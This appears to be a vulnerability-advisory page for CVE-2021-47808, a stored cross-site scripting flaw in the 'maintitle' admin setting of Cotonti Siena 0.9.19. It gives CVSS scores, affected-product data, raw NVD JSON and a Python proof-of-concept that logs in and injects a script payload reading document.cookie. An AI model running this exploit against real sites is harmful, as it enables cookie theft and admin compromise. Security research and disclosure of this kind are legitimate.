Security Vulnerability Report
中文
CVE-2021-47808 CVSS 5.4 MEDIUM

CVE-2021-47808

Published: 2026-01-16 00:16:26
Last Modified: 2026-02-02 16:16:15

Description

Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title parameter. Attackers can inject malicious JavaScript code through the 'maintitle' parameter to execute scripts when administrators view the page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cotonti:cotonti_siena:0.9.19:-:*:*:*:*:*:* - VULNERABLE
Cotonti Siena 0.9.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47808 PoC - Stored XSS in Cotonti Siena maintitle parameter # Target: Cotonti Siena 0.9.19 target_url = "http://target.com/cotonti" admin_url = f"{target_url}/admin.php" login_url = f"{target_url}/admin.php?m=login" # Malicious JavaScript payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_cve_2021_47808(): """Exploit stored XSS in Cotonti Siena maintitle parameter""" # Step 1: Login as low-privilege admin user session = requests.Session() login_data = { 'user': 'attacker_username', 'pass': 'attacker_password', 'loginsubmit': 'Login' } response = session.post(login_url, data=login_data) if 'admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in maintitle parameter config_data = { 'maintitle': xss_payload, 'save': 'Save' } response = session.post(admin_url, data=config_data) if xss_payload in response.text or 'success' in response.text.lower(): print("[+] XSS payload injected successfully") print(f"[*] Payload: {xss_payload}") print("[*] Wait for admin to visit the page to trigger XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cve_2021_47808()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47808", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:25.707", "lastModified": "2026-02-02T16:16:14.710", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title parameter. Attackers can inject malicious JavaScript code through the 'maintitle' parameter to execute scripts when administrators view the page."}, {"lang": "es", "value": "Cotonti Siena 0.9.19 contiene una vulnerabilidad de cross-site scripting almacenado en el parámetro de título del sitio del panel de configuración de administrador. Los atacantes pueden inyectar código JavaScript malicioso a través del parámetro 'maintitle' para ejecutar scripts cuando los administradores ven la página."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cotonti:cotonti_siena:0.9.19:-:*:*:*:*:*:*", "matchCriteriaId": "381D7B79-BA21-447A-BAA1-1E40F17E9895"}]}]}], "references": [{"url": "https://cotonti.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.cotonti.com/download/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50016", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/cotonti-siena-maintitle-stored-cross-site-scripting", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50016", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}